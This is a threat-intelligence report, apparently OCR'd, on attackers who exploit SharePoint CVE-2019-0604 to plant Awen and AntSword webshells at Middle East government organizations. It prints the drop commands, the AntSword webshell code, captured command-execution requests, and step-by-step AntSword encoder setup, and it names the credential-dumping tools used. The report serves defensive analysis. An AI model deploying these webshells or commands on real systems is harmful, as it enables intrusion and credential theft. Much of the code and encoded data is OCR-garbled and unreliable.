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Executive Summary

On September 10, 2019, we observed unknown threat actors exploiting a vulnerability in
SharePoint described in CVE-2019-0604 to install several webshells on the website of a Middle
East government organization. One of these webshells is the open source AntSword webshell
freely available on Github, which is remarkably similar to the infamous China Chopper webshell.

On January 10, 2020, we used Shodan to search for Internet accessible servers running versions
of SharePoint vulnerable to CVE-2019-0604. While admittedly the version numbers provided by
SharePoint within HTTP responses do not always provide the precise SharePoint version
number, we decided to use it to check if it was less than the version numbers of the patched
SharePoint versions from the Microsoft advisory. We performed this comparison and found
28,881 servers that advertised a vulnerable version of SharePoint. We did not actively check
each server to verify if they were indeed vulnerable, so it is possible that many of these public-
facing SharePoint servers were not vulnerable or since patched. Regardless, the sheer number of
servers and publicly available exploit code suggests that CVE-2019-0604 is still a major attack
vector.

Using this collection of webshells, the actors moved laterally to other systems on the network by
dumping credentials with a variant of the notorious Mimikatz tool and using Impacket’s atexec tool
to use dumped credentials to run commands on other systems. On September 19, 2019, we
observed the same exact Mimikatz variant uploaded to a webshell hosted at another government
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organization in a second country in the Middle East. The Mimikatz variant uploaded to these two
organizations is unique, as it involves a seemingly custom loader application written in .NET.
Therefore, we believe that the same threat group is behind both intrusions.

Back in April 2019, we first observed the Emissary Panda threat group exploiting CVE-2019-0604
to install webshells on SharePoint servers at government organizations in two Middle Eastern
countries. Fast forward five months to the current attacks and we see exploitation of the same
vulnerability at government organizations in two different countries compared to the April attacks.
We do not have any strong ties to connect the current attacks exploiting this vulnerability in
SharePoint with the Emissary Panda attacks carried out in April. The overlaps between these two
sets of attacks include exploitation of a common vulnerability, similar toolset and a shared
government victimology, but no strong pivot points to connect these attack campaigns together.

The exploitation of this vulnerability is not unique to Emissary Panda, as multiple threat groups
are using this vulnerability to exploit SharePoint servers to gain initial access to targeted
networks. We would like to acknowledge the possibility of an overlap in the AntSword webshell,
as we stated that Emissary Panda used China Chopper in the April attacks and AntSword and
China Chopper webshells are incredibly similar. However, at this time we do not believe the April
attacks used AntSword based on artifacts analyzed on the SharePoint server, specifically none of
the 1S logs in the April attacks used the AntSword User-Agent in requests to the webshell that
were observed in the current attacks.

Palo Alto Networks customers are protected from the threat described in this blog through Threat
Prevention signatures for the exploits and C2 traffic as well as through WildFire. More details on
this protection is available in the conclusion of the report.

Exploiting CVE-2019-0604

On September 10, 2019, we observed an HTTP POST request to the following URL that we
believe was the exploitation of CVE-2019-0604 in a publicly facing SharePoint server (T1190):

/_layouts/15/picker.aspx

We did not have access to the data sent within the HTTP POST request above, however, we
observed the following command executed on the SharePoint server at the time of the inbound
request:

C:\Windows\System32\cmd.exe /c echo
PCVAIFBhZ2UgTGFuZ3VhZ2U9IkMjliIBEZWJ1Zz0idHJ1ZSIgVHJhY2U9ImZhbHNIIAIPg[..snip..]
> c:\programdata\cmd.txt & certutil -decode c:\programdata\cmd.txt C:\Program Files\Common
Files\microsoft shared\Web Server Extensions\1AATEMPLATE\LAYOUTS\c.aspx & certutil -
decode c:\programdata\cmd.ixt C:\Program Files\Common Files\microsoft shared\Web Server
Extensions\15\TEMPLATE\LAYOUTS\c.aspx & certutil -decode c:\programdata\cmd.txt
C:\Program Files\Common Files\microsoft shared\Web Server
Extensions\16\TEMPLATE\LAYOUTS\c.aspx

The command above uses the echo command to write a large chunk of base64 encoded data to
a text file named cmd.txt. The command then uses the certutil application to convert the base64
encoded data (T1132) in the cmd.txt file to c.aspx in three different SharePoint related folders.
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The result of this entire command saves a variant of the Awen asp.net webshell (T1100) to the
SharePoint server to further interact with the compromise server. The Awen webshell deployed in
the exploitation of this SharePoint vulnerability had a SHA256 hash of
5d4628d4dd89f31236f8c56686925cbb1a9b4832f81c95a4300e64948afede21.

Actor’'s Awen Webshell

Just 40 seconds after the suspected exploitation of CVE-2019-0604, we observed the first HTTP
GET request to a webshell at c.aspx, which is a modified version of the freely available awen
asp.net webshell. We believe this HTTP GET request was the actor visiting the webshell after
exploitation and prior to executing commands. Figure 1 shows the Awen webshell, which has little
functionality outside of setting the path to the command prompt application and running
commands.

D awen asp.net webshel x

i C | ® 192.16845.10/casp .

Path:
c\windows\system32icmd.exe

Command:
/e Set Submit

Figure 1 Awen webshell installed by actor after exploiting CVE-2019-0604

The actor uses the Awen webshell seen in Figure 1 to run various commands to do an initial
discovery on the system and network, including user accounts (T1033 and T1087), files and
folders (T1083), privileged groups (T1069), remote systems (T1018) and network configuration
(T1016). Table 1 not only shows the commands used for discovery, but also the commands used
to deploy another webshell to the server using the echo command to write base64 encoded data
to a.txt and using the certutil application to decode and save to bitreeview.aspx. Table 1 also
shows the time delta between the commands executed using the Awen webshell to provide
insight into the tempo at which this actor executed commands.

Time delta from Command
previous

command

3 minutes 55 sec- dir c:\programdata\

onds (from initial
exploitation)

14 seconds query user
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15 seconds net group /do

32 seconds whoami

18 seconds net user <redacted hostname> /do

12 seconds net localgroup administrators

21 seconds ping -n 1 8.8.8.8

20 seconds net group exchange servers /do

22 seconds ipconfig /all

23 seconds ping -n 1 -a 10.xX.x.x

10 minutes 53 echo PCVAIFBhZ2UgTGFuZ3VhZ2U9lkpzY3JpcHQI[..snip..] >
seconds c:\programdata\a.txt

5 seconds type c:\programdata\a.txt

5 seconds certutil -decode c:\programdata\a.txt c:\program files\common

files\microsoft shared\web server
extensions\14\template\layouts\bitreeview.aspx

23 seconds del c:\programdata\a.txt

Table 1 Awen webshell installed by actor after exploiting CVE-2019-0604

The webshell named bitreeview.aspx was saved to a folder within the SharePoint server’s install
path. The bitreeview.aspx file is a variant of the AntSword webshell that has undeniably similar
traits as the infamous China Chopper webshell. After installing this AntSword webshell, the actor
no longer uses the Awen webshell and issues the first command to AntSword 35 seconds after
the last command issued to the Awen webshell.

Actor’s AntSword Webshell

AntSword is a modular webshell that involves a very simple webshell that the actor would deploy
to the compromised server and a client application referred to as the AntSword Shell Manager.
The use of the client application differs from many other webshells that the actor would interact
with in a browser window. The actor would use the AntSword Shell Manager to interact with the
AntSword webshell on the compromised server, as the Shell Manager sends the appropriate
script to the webshell that will execute to carry out the desired action. To provide a sense of the
limited functionality within the webshell itself, the bitreeview.aspx AntSword webshell deployed in
this attack (SHA256:
15ecb6ac6c637b58b2114e6b21b5b18b0c9f5341ee74b428b70e17e64b7das5€) was only 162
bytes and contained the following:
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1 %@ Page Language="Jscript"%
%
eval(System.Text.Encoding.GetEncoding(65001).GetString(System.Convert.

FromBase64String(Request.ltem["Darr1R1ng"])),"unsafe"); %

N o o A 0N

As you can see from the code above, the AntSword webshell has no functionality other than
running a script provided by the AntSword Shell Manager, specifically within a field named
Darr1R1ng of an HTTP POST request. The code above also tells us the actors had created their
own custom “encoder” within the AntSword Shell Manager to be able to interact with the code
above, which we will discuss in detail in the next section.

The actors used the AntSword webshell to run a variety of commands on the compromised
server. The following are a list of the initial commands issued using this webshell that will attempt
to do initial system and user discovery, as well as attempt to ping systems of interest:

1. whoami

2. query user

3. nltest /domain_Trusts
4. ping -n 1 <redacted domain name>
5. ipconfig /all
6. net group /do
7. net group Exchange Servers /do

8. ing -n 1 <redacted hostname of Exchange server>
9. ping -n 1 <redacted hostname of Exchange server>
0

10. query user

The ping attempts suggests that this actor seeks to gain access to Microsoft Exchange servers,
which may be part of their objective or they desire the elevated privileges on the domain that an
Exchange server provides. Also, the ping attempts show the actor misspelled the command their
first attempt, which suggests that these commands were issued with hands on-keyboard and not
through an automated script. Figure 2 shows the terminal interface within the AntSword Shell
Manager application through which the actors would have issued commands.
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AntSword Edit Window Debug

4 = _ 127.0.0.1 »

ii pool\asp.r
C:\inetpub\wwwroot> []

Figure 2 Terminal within AntSword’s Shell Manager interacting with webshell

While we did not have 100% visibility, we also believe the actors used the AntSword webshell to
upload tools to the server as well, specifically cURL, a custom Mimikatz variant, and compiled
variants of Impacket’s wmiexec and atexec tools. AntSword has a FileManager interface that
provides a navigation capability similar to Windows Explorer, which allows the actor to upload and
download files to and from the compromised server. Figure 3 shows the FileManager interface
within the AntSword Shell Manager application.
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(" -[oi
AntSword Edit Window Debug
« == 0 127.0.0.1 »
[0 Folders (5) ¢ [GFiles(5) A
O ONew = UP C Refresh # Home MBookmark »  C:finetpub
Eeph MName Time Size Atir
+ I wwwroot
custerr 2018-07-17 08:06:48 b Directory
I custerr O custen N Y
B history 3 history 2019-11-26 11:28:06 Ob  Directory
M logs 5 logs 2018-08-30 12:08:34 0b Directory
M temp O temp 2018-07-17 08:06:52 0b Directory
mD 0 waw root 2019-12-09 12:55:24 0Ob Directory
=i Tasks -~

Figure 3 FileManager interface within AntSword’s Shell Manager using the webshell

The actor issued commands to the webshell using these uploaded tools. For instance, the cURL
tool was used in the command curl.exe ipinfo.io —max—time 5 to determine if the server had
outbound access to the Internet and to obtain the external IP address of the compromised
system. The actors used the ‘net use’ command, Mimikatz and the Impacket tools specifically for
lateral movement. It appears the actors used Mimikatz to dump credentials from memory (T1003)
and used the Impacket tools to use the pass the hash (T1075) technique to run commands on
other systems.

Actor’s Custom AntSword Encoder

To use the AntSword webshell installed on the SharePoint server, the actor had to create a
custom encoding module in AntSword. We know this as the default encoders in the AntSword
Shell Manager were unable to successfully interact with the bitreeview.aspx webshell. We found
that the default base64 encoder would not base64 encode the data in the Darr1R1ng field, rather
it would deliver it in cleartext, as seen in HTTP POST request seen in Figure 4. When we
attempted to use the default base64 encoder to interact with the bitreeview.aspx webshell
installed by the threat actor, the server responded with HTTP 500 error messages as the cleartext
Darr1R1ng field contained characters that were not in the base64 alphabet.
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POST /bitreeview_b64.aspx HTTP/1.1

Host: 192.168.45.18

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.1l

Content=Type: application/x=www=form=urlencoded

Content-Length: 982

Connection: close
DarrlRlng=eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase64String (Request.Items58
%2205190cbcc126a9%22%5D) )%2C%22unsafe

%22 )%3B&g5190cbccl26a9=UmVzcGIuc2UuV3IpdGUoImZ jMDAdmZD IIKTt2YXIgZXIyO0kV4aY2VwdGlvbj t@cn17ZXZhbChTeXN@ZWOuVGY4d CSFbmNvZ
GluZySHZXRFbmNvZG LluZygiVVRGLTgiKS5HZXRTdHIpbmcoU31zdGVELENvbnZ LenQuRnIvbUIhc2UZNFN@ cmluZygiZG1GelU THTT VM2 x6ZEdWdExrb
FBMalJlwY21WamRHOXL1UzVIWLhSTWIyZHBZMkZzUkhKcGRtVnpLQ2Z s3VWIWemNHOXV jMLVIVjNKcGRHVWIVMLZ5ZG1WeUx rMwhj RkJoZEdnb@ 1pNG LU
3NpQ1INJIcEByWnZ j aWgyWVh] Z2ZFUMHdPMms 4UFdNdWIHYnVaM1IvTFRFN2ZFTc3ILVkps YzNCdmIuTmxMbGR5S YWhSBETHTmIhY j FAiTUYwck Lgb 2 LLVHRTW
LhOd2IyNXpalzVYY21sMFpTZ21DUAlyULlc1lMmFYSnZibTFsYmSRAV]x T LdaWEpEYVcSdUt5SUpJaWs 3VWlWemNHOXV MLV 1V jNKcGRHVIWISY zUy Y VhiKd
mItMWx 1b1F1V1hObGNrNWhiVIVWT3c9PSIpKSwidWszYWZ 1T ik7 fWNhdGNoKGVycil7UmVzcGOuc2UuV3IpdGUoIkVSUkISO018vICIrZXIyLmllc3NhZ
2Up0315Z¥Nwb25zZ55Xcm18Z5gi0TZ10GIyIik7UmVzcGIuc2UuRWSKKCKT

Figure 4 HTTP POST request issued by AntSword Shell Manager to webshell using default base64 encoder

We determined that the actor must have created a custom encoding module in the AntSword
Shell Manager that base64 encoded the entire Darr1R1ng field to successfully interact with the
bitreeview.aspx webshell. The AntSword Shell Manager includes an interface for a user to create
a custom encoding module, so we set out to determine the steps the actor would take to be able
to create this custom encoding to start interacting with the webshell.

1. The actor would first start by opening the AntSword Shell Manager. Based on our analysis,
they used AntSword v2.1 specifically.

ol
Antsword Edit window Debug
« = >
@ Setting
i= shell Lists (0) W Category (1) >
URL ® ADDR NOTE CTIME UTIME ©add
© Default 0

2. Before interacting with the installed webshell, the actor had to create a custom encoding
module. To create the custom encoding module, the actor would click the AntSword > Encoders
manager from the menu.

% Antoword (o]l

AntSword  Edit Window Debug

About Cerl=Shift=1 »
Language setting
Proxy setting

Display setting

= Category (1) >
Encoders manager < NOTE CTIME UTIME ©add
System setting 0 Default (0]

Plugin Store
Check update

Quit

3. In the Encoder Manager interface, the actor would click the New Encoder button.
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% Antsword =K
Antsword Edit Window Debug
A >
© About ©ONewEncoder ~ ©NewDecoder ~ (#Edit @Delete A RSAConfig @ Get More

B aracosting ‘ Shell Type | Type
A Proxy setting
2 Display setting

| @ Encoder Manager |

= Default Setting

4. From the New Encoder drop down, the actor would select ASPX as the AntSword webshell
installed on the SharePoint server was an ASPX file.

% Antsword 8=k
AntSword Edit Window Debug
Jm] e

< About

o
| ©NewEncoder - ©NewDeoder v (ZEdt mDsets @ RSAConfig @ GetMore
‘@ Language setting Il

[@ ASP " ‘ Shell Type ‘ Type
<A Proxy setting B ASPX

[ Display setting @ PHP
‘ [ Encoder Manager ‘ @ Custom
= Default Setting
@ PHPRSA

5. The actor would have to name the new encoder and click the blue button to continue. We
chose the default name ‘myencoder’ for this example.

[@ Create Encoder X

2

6. After creating the new encoder, the actor would select the encoder and click the Edit menu
button.
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AntSword Edit Window Debug

« = @
© About O MNewEncoder » ©NewDecoder v  (#Edit @Delete = & RSAConfig @ GetMore
W Language setting Name shell Type
A Proxy setting B myencoder
I Display setting

B Encoder Manager

= Default Setting

7. After clicking the Edit button, the EditEncoder window opens and provides an example encoder
that the actor can modify. To use the ‘bitreeview.aspx’ webshell on the server, the actor must have
modified line 24 of the example encoder to base64 encode the contents ‘DarriR1ng’ field instead

of leaving them in cleartext.

AntSword Edit Window Debug

o = o [ EditEncoder: myencoder
© About ) Save
" Language setting 1. =*
A Proxy setting 2
3
21 Display setting 4
@ Encoder Manager| :
= Default Setting 7
8-
9
1@
1
12
13
14
15
16
17
18 om(
19 BB p ] @
2@ BUEEZE, #H b RIBH LA randomID key T

i 21 data[randomID] = Buffer.from(data['_']).toString('basesa”);

d J&, %ANE pud BT HIR

ecode($_POST([${randonID}

o shell TE$ 43
* datalpud] - "eval(bas

ASPX

Type

-ox

Encoder

Actors Still Exploiting SharePoint Vulnerability to Attack Middle East Government Organizations

8. To base64 encode the ‘DarriR1ng’ field, the actor would modify line 24 to code that has the
same functionality as the code displayed in line 24 now. The actor would click the Save menu

button to save the new custom encoding module.

# Antsword
AntSword Edit Window Debug

« = @ [ EditEncoder: myencoder
© About B Save
B Language setting 1+ e

A Proxy setting
2 Display setting
B EnmderMana;n!]

S e w

== Default Setting

15 [

17 ER— T ENEES

18 let randomID = °_Bx${Math.random(}.toString(16).substr(2)}";
JBEN p 1 L

20 Bk zE, Fhb IREHF A randomID key T

i data[randomID] = Buff m(data[’'_"]).teString('base6d’);

B, A pud B2HTHIAE,

eval(System.Text.Encoding. GetEncodi

26 idiaacaiein i SN K e =R e et 1

9. With the custom encoding module created, the actor would now add a new shell in the Shell

Manager window by right clicking and selecting the Add button.
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=kl
AntSword Edit Window Debug
« = »
2 Setting
i= Shell Lists (0)  Category (1) >
URL P NOTE CTIME UTIME ©add
[ Defauft 0
B Plugin Store
© Add
Q Search

® Clearall cache

10. The Add shell interface opens and allows the actor to configure the location of the shell, the

name of the field within the HTTP POST request and the encoding module the webshell will use
to interact with the Shell Manager.

ol
AntSword Edit Window Debug
« =2 »
@ Setting
i= Shell Lists (0) [ Add shell _ax i Category (1) >
URL big ©Add | ®Cer i Test Connaction © Add
B Base . £ Default (0}
shell url htp://
Shell pwd
Note
Encode uTF8

Shell type PHP

) default (No recommended)
random (Not recommended)
bass64

B HTTP

& Other

11. In this incident, the actor would have added the following settings and clicked the Add menu
button:

1. Set ‘Shell url’ to URL to the ‘bitreeview.aspx’ webshell (localhost in our testing)
2. Set ‘Shell pwd’ to the word ‘DarriR1ng’
3. Set ‘Shell type’ to “ASPX” from the drop down

4. Checked the radio box next to ‘myencoder’ to select the custom encoder.
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12. After clicking the Add button, the shell is now listed within the Shell Managers interface.

13. To interact with the webshell, the actor would right click the shell and choose actions from the
displayed menu. To run commands on the webserver, the actor would select the Terminal menu

button.
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# Antsword

AntSword  Edit Window Debug

« =
 Setting

i= Shell Lists (0) [ Add shell

URL ©Add  ®Clear <% Test Connection
B Base -

Shellurl = | hitp:/flocalhost/bitreeview.aspx
shell pwd Darr1R1ng
Note
Encode UTF8 v
Shell type ASPX -
O default (Not recommended)
O random (Nok recommended)
O bass64
© hex
O url_unicode
) myencoder -
@HTTP ~
& Other ~

=I5l

W Category (1)

© add

3 Default 0

AntSword Edit Window Debug

« =
@ setting
i= shell Lists (1)
URL ® ADDR NOTE CTIME UTIME

httpi/flocalhost/bitreeview.aspx  127.0.0.1  IANA {253HhtF T4 2019/12/09 13:5%:53  201%/12/09 13:59:53

(= 3]
»
W Category (1) >
Add
3 Default (1]

AntSword  Edit Window Debug

« =
& Setting
1= Shell Lists (1)

URL P ADDR NOTE CTIME UTIME

hitp://localhost/bitreeview.aspx  127.0.0.1 _IANA REZHHLFFA 2019/12/09 13:59:53  2019/12/09 13:59:53

s Terminal

3 FileManager
£ Database
© View Site
€ Copy URL

0 Plugins
® Plugin Store

© Add
& Edit
x Delete

© Move
) Copy
Q Search

B Clear cache
@ Clear all cache
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14. The AntSword Shell Manager displays an interface that resembles a command prompt
window. It also includes information about the system that the webshell is running on, such as the
operating system, current user, current working directory and the storage volumes on the server.

i
AntSword Edit Window Debug

»

15. The actor would issue the desired commands in this window, which the webshell would run
and respond with the results.

-l
AntSword Edit Window Debug
>~ 127.0.0.1

(*) Enter

16. If the actor wished to interact directly with the compromised server’s file system, they could
choose the FileManager menu button from the Shell Manager.
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@ Antsword -[oi x|
Antsword Edit Window Debug
« = »
£ Setting
i= Shell Lists (1) I Category (1) >
URL i ADDR NOTE CTIME UTIME © add
hitp://localhost/bitreeview.aspx  127.0.0.1  IANA &t T4 2019/12/09 13:59:53  2019/12/09 13:59:53 [ Default (1]
s_ Terminal
[ FileManager *—
£ Database

Site
€A Copy URL
I Plugins

® Plugin Store
© Add

& Edit

X Delete

@ Move

€4 Copy

Q Search

B Clear cache
@ Clear all cache

AntSword Similarity to China Chopper

AntSword and China Chopper are both modular webshells that actors would interact with using a
client application instead of a web browser. It appears that developers of AntSword may have
used China Chopper as a basis for their tool, as the default China Chopper webshell works with
the default encoder of AntSword’s ASPX webshell. The major differences between the two
involves the code and parameters the two client applications send to the webshell to run
commands and other activities. For instance, China Chopper uses two parameters named z1 and
z2 when running commands via the webshell, as seen in Figure 5, whereas AntSword uses four
randomly generated nhames each execution, as seen in Figure 6.

POST /bitreeview_b&4.aspx HTTP/1.1

Cache=Control: no-cache

X-Forwarded-For: 220.102.33.196

Referer: http://192.168.45.10

Content-Type: application/x—www—form-urlencoded

User-Agent: Mozilla/4.8 (compatible; MSIE 6.8; Windows NT 5.1)
Host: 192.168.45.19@

Content-Length: 1094

Connection: Close

DarrlRlng=Response.Write("—=|");var
err:Exception;try{eval(System.Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase645tring("dmFyIGM3bm\V3
IFN5Sc3R1bS5EaWFnbm9zdG1j cy5Qcmdj ZXNzU3RhcnRIbmZvKFNSc3R 1bS5UZXhBLEVUY29kaWSnLkd LAEVUY29kaWSnKDkzNikuR2VBU3RyaW5nKFNS
c3R1bS5Db252ZXI0LkZyb21CYXN 1N RTdHI pbmcoUmVxdWVzdC5IdGV tWyI6MSIdKSkp03ZhciB1PWS LdyBTeXN@ZWBURG LhZ25vc3RpY3MuUHIvY2Vz
cygp03ZhciBvdXQBU31zdGVtLK LPL IN@cmVhbVI LYWRLcixFSTpTeXNOZWauSUBuU3Ry ZWF tUmVhZGVy02MuVXNLUZh LbGxFeGV j dXR LPWZhbHNLO2Mu
UmVkaXJ 1Y3RTdGFuZGFyZE91dHEL1dD1@cnV 10 2MuUmVkaX] LY3RTdGFuZGFyZEVy cm9yPXRydWU7 ZS5TdGFydELuZmB89Yzt jLKFyZ3VtZWS@cz@il2Mg
LitTeXNOZWOUVGVAdCS FoNvZG LuZl SHZXRFbmMNVZG LuZygSMzYpLkd LAFN@cmluZyhTeXNOZWeuQ29udmyydCSGemItQmFzZTYRAU3RyaWsnkKF I LeXvl
c3QusXR1lbVsiej IiXSkpORUUU3RhQAQoKTtvdXQ9Z55TdGFUZGFYZE9 1dHB1dDtFST1 1L INGYWSkYXIkRXIyb3I7Z550bG9225gp01] Le3BvbnNLL Ldy
a¥R1KG91dC55ZWFkVGY loKSt SZWFkVGIFbmQoKSk7") ) ,"unsafe"); }catch(err){Response.Write("ERROR: //
“%2Berr.message) ; JRes@onse.Wr¥te(" |

<="};Response.End() ; &z1=Y21k&z2=¥2QgL2QgIkMEXG LuZXRwdW] cd3d3 cmIvdFwilndob2FtaSZ1Y2hvIFtTXSZj ZCZ1YZhvIFtFXQ%3D%3D

Figure 5 HTTP POST request to China Chopper webshell to run a command with arrows pointing to its required
parameters
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POST /bitreeview_b64.aspx HTTP/1.1

Host: 192.168.45.1@

Accept-Encoding: gzip, deflate

User-Agent: antSword/v2.1l

Content-Type: application/x-www-form-urlencoded

afbbfied584 5D) }%2C%22unsafe

%3B&bOD7842a84cTWOB=Y2(QgL2QgIkMEL2 LuZXRwdWIvd3d3cmOvdCImdZhvYWlpImVjaG8gWINdImNkImVjaG8gwovd&187556e7blcddc=Y21k
&UB382cTe3@5401=8&vBaTbbfAded584=UmVzcGIucZUuV3 IpdGUoIm] hMWMwW] g2ZNGY ZNCIp03ZhciBlenI6RXh ) ZXE@aWIu03RyeXt ldmFsKFNSC3R
LbS5UZXh@LkVuY29kawsnLkd LdEVUY29kaWSnKCIVVEY tOCIpLkd LdFN@cmLuZyhTeXNe ZwauQ29udmVydC5GematOmFzZTYBU3RyaWsSnKCI kbUZ5SU
dNOWItVINIRK41YzZNSbGITNUVhVeZuYm@5emRHbGpj eTVRY205a LpYTnpVM1JoY2555m] tWnZLRKk41YZzNSEGITNVVaWGgwTGtWdVky OWthVzVuTGtkb
GRFVNVZMj LrYVclbktDSLZWRVLBTONI CEXrZGxkRkdwY21sdVp5aFRIWE4wW Lcwd VEYOXVKbVZ5ZEM1R2NtOXRRBUZEWIRZMFUZUN LhVzVuS@ZKbGNY
VmxjM1F1U1hSbGIWc2LiRGczTIRVM LpUZGINR@BwWWKdNaVhTa3BLVHOyWVhIZ1pUMXVaWGNnVTNsemRHVnRMa 1w\ dkdWIzTjBhV@56 TGxCeWIyTmx
jMB1VvSIREMLLYSWdiM1YwT2xONWMzUmx iUz VKVHK1VGRISmxZVz FTWldGalpYSXNSYWs2VWTNsemRHVNRMa2 xQTGxOMGNtYmh iVkp sWydSbGNgdGpMbF
Z6W1Z0b1pXeHNSWGhsWTNWMFpUMW1ZV3IhEWLR@akxs SmxaR2x5W 1dOMFUzUmhibV1oY21SUGRYUndkWFESZEhKMYpUdGpMbEpsWkdseVpXTjBVM1loY
m1SaGNtUkZ jbkp2Y2oxMGNuVmxPM1VIVTNSaGNuUkp ibVp2UFdNNI L5NUJ j bWQxY LdWdWRITT LJaT lgSUNIc LUz bHpkR1ZOTGxSbGVIUXVSVzVgY ]IS
cGItY3VSMLYwU LclamIyUnBibWNy SWxWWVIpMDRIaWt1Uj JWMFUzUnLhVzVuS@ZONWMzUmx iUzVEYjI1IM1pYSjBMalp5YjIxQ11YTmx0alJUZEhKCG]
tY29VbVZAZFdWemRDNUpkR1ZOV31KaU1HSTNPRFIoTORSa LpgQXdPQ@pkS 1IN rN2FXWWIV bV Z4 ZF dWemRDNUpkR1ZOV3 LKMUSqTXdNbUS tWLRNdB5 UUX
dNU@pkSINCNZRtRNLIR1Z1ZG50MGNpQT LIRk4 1Y ZNSEGITNVVaWGgwTGtWdY Ky OWthVZzVuTGtkbGRFVNVZM] LrYVclbktDS LZWRV1L@TOMI cEXrZGxkR
kdwY21lsdVpSaFRIWEdwWW LcwdVEyOXVKEVZ5ZEM1IRZN tOXRREUZEWIRZMFUZUN LhVzVuS@ZKbGNYVmx jM1F1U1hSbGIWc2 LKVFLETURKa Lp tVXpNRFUw
TURFaVhTa3BPM1poY21CbGIuWmhj bk nUFNCbGIuWnpkSELLY zNCc2FYUW9JIbn g4 ZkdGemIHbHYawWHg4 ZkNJ cEB zWmh j aUJwTzJadmNpQWIkbUZ55Ud
rZ2F¥NGdaVzUyWVvhKeUtT(QjdkbUZ5SUhOek LEMGdaVzUyWVhKeV cybGRMbk53Y kd sMEtDS] hmSHhoYzJ@bGVYeDhmQ® lwTzlsbU1DaHpjeTVzWlclbm
RHZ2dIVDBNTWLrZ2UyTnZib1IwYmSWbEBzMWpMalZ1ZG1seWIyNXRaVzUwVm1GeWFXRmliR1Z6TGtGalpDaHp jMXNIWFN4emMxc3hYU2s3Z1gxbExsT
jBZWEowWSENrN2IzV]jBQV1VIVINSaGItUmhjbVIQZFhSd2RYUTASVWSS5WIM1VGRHRNYaR®Z5WkiweWN tOX TPMLVIUTI4dmMyVWILVHRTWhOd2IyNXpa
UzVYY21sMFpTaHZkWFF1VWIWaFpGUnZSWzVrSeNrZ@t5QkZTUzVTWldGalZHOUZ1bVFvSIN Ny IpKSwidW5szYWZ LI 1k7 fWNhdGNoKGYyci17UmVzcGo
uc2UuV3JpdGUoIkVSUkISOi8vICIrZXIyLmllc3NhZ2Up031SZXNwb252zZ55Xcm1l@ZSgiY2ZNmOTYxNjVjIik7UmVzcG9uc2UuRWSkKCk7

Content-Leggth: 2322

Copnectionfl close

D Rlng L(sy Text.Encoding.GetEncoding(936).GetString(System.Convert.FromBase645tring (R st.Items5B
ks

%2

Figure 6 HTTP POST request to AntSword webshell to run a command with arrows pointing to its required
parameters

Not only do the parameters differ, but the code sent to the webshell differs as well. As you can
see in Figure 7, the code used to run commands on the webshell by AntSword and China
Chopper have several lines of code that are exactly the same, while some lines of code differ and
several lines were added to AntSword’s code on the right. The code on the right side of Figure 7
is AntSword, which includes additional lines of code to allow the actor to set environment
variables before running the command.

cc_evaled_b64.decoded. tet.pretty - as_param_2.decoded.ixt.evaled.txt. pretty
r g= i iss.Pr artInfolSysten, Text ding.GetEnceding (936} . GetStringl” —T—w var c=new Sysiem.Disgnostics.Processstartinfo(System. Text i ding ("UTF—8"] G
var e=new System.Diagnestics.Process(); var e=new System.Diagnostics.Process{);
var out:System.I0.5treamReader,EL:System.10.StreamReader; var out:System.I0.5treanfeader,EI:System.10.Streanfeader;
c.UseShellExecute=false; c.UseShellExecute=false;
c.RedirectStandardOutput=true; c.RedirectStandardOutput=true;
c.RedirectStandardError=true; c.RedirectStandardError=true;
e.5tartInfosc; e.StartInfosc;
c.Arguments="/c “+System.Text.Encoding.GetEncoding(936) . GetString{System.Convert. FromBase645tr c.Arguments="/c "+System.Text.Encoding.GetEncoding("UTF-8").GetString(Systen.Convert.FromBi
e.Start(}; if (Request. Item["ieb6d3d34dfSad"])
sut=e.StandardOutput; {
El=e.StandardErrar; z var envstr = System,Text.Encoding.GetEncoding("UTF-8").GetString(Systen. Convert. FronBa:
e.Close(); . var envarr = envstr.split{®|||asline|[|");
Response.Write(out.ReadToEnd{)+EL. ReadToEndl)); war i;

for {var i in envarr)
{

var ss = envarr[il.split("|||askey|||"};
%f (35.length f= 2)

continue;

c.EnvironmentVarisbles.Add(ss[@],ss[1]);

13

e.Startl);

out=e.StandardOutput;

EI=e.StandardError;

e.Closel);

Response.Write{out.ReadToEnd() + EI.ReadToEnd{}};

Figure 7 Comparison between code used by AntSword and China Chopper to run a command on the webshell

Tools Seen in Related Webshell

When analyzing tools uploaded to the AntSword webshell, we discovered the same Mimikatz
sample uploaded to a webshell hosted on a server at another government organization in a
different Middle Eastern country. On September 19, 2019, the actor uploaded this Mimikatz
sample to the webshell hosted at a URL.:

<redacted domain>/uploadedFiles/green_post.aspx
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We did not have access to the webshell hosted at this URL or visibility into the commands
executed by the actor. We also do not know if the server is a SharePoint server or if a
vulnerability was exploited to install the webshell. However, the Mimikatz sample was unique as it
used a custom loader written in .NET, so we believe that the same threat group is involved in the
intrusions at both of these government organizations.

In addition to the Mimikatz tool, the actor uploaded other tools to the webshell hosted at this
second organization. Table 2 shows the executables uploaded to the webshell, which shows
similar tools that actors uploaded to the AntSword webshell discussed earlier, including Mimikatz
and Impacket’s atexec tool.

SHA256 Filename Description

dab53dcaeed.. es.exe Mimikatz with custom loader
26d9212ec8.. Rar.exe Legitimate WinRAR
adaca75bcc.. atec.exe  Compiled Impacket atexec tool

e4e05c9a21.. dmp.exe  Dumpert tool

Table 2 Tools uploaded to webshell hosted at second government organization

One of the tools seen in Table 2 that caught our interest was the Dumpert tool, which is freely
available on Outflanknl’s GitHub repository. The author of Dumpert describes the tool as an
LSASS dumping tool that uses direct system calls and API unhooking to evade antivirus and EDR
solutions. Dumpert is a relatively new tool with its initial commit to GitHub occurring on June 17,
2019. While the Dumpert tool is meant to help red teams emulate an adversary, we had not seen
this tool used by threat actors until it was uploaded to this related webshell on September 23,
2019.

Conclusion

Threat actors continue to exploit the CVE-2019-0604 vulnerability to compromise SharePoint
servers, which is a vulnerability that Microsoft released a patch for in March 2019. We observed
actors installing webshells to the SharePoint server that they use to run commands and upload
additional tools to in order to dump credentials and move laterally to other systems on the
network. We were also able to find a related webshell based on the threat group’s tool reuse,
specifically a custom Mimikatz sample. Thanks to this tool reuse, we found the threat group
uploading a credential dumping tool called Dumpert that we had not seen used in prior incidents
involving the exploitation of CVE-2019-0604.

Palo Alto Networks customers are protected by:

« The CVE-2019-0604 vulnerability is covered by our IPS signature Microsoft SharePoint
Remote Code Execution Vulnerability (55411)

« The Awen Webshell is detected by our IPS signature Webshell. ASPX.git. Awen Command
and Control Traffic (83202)
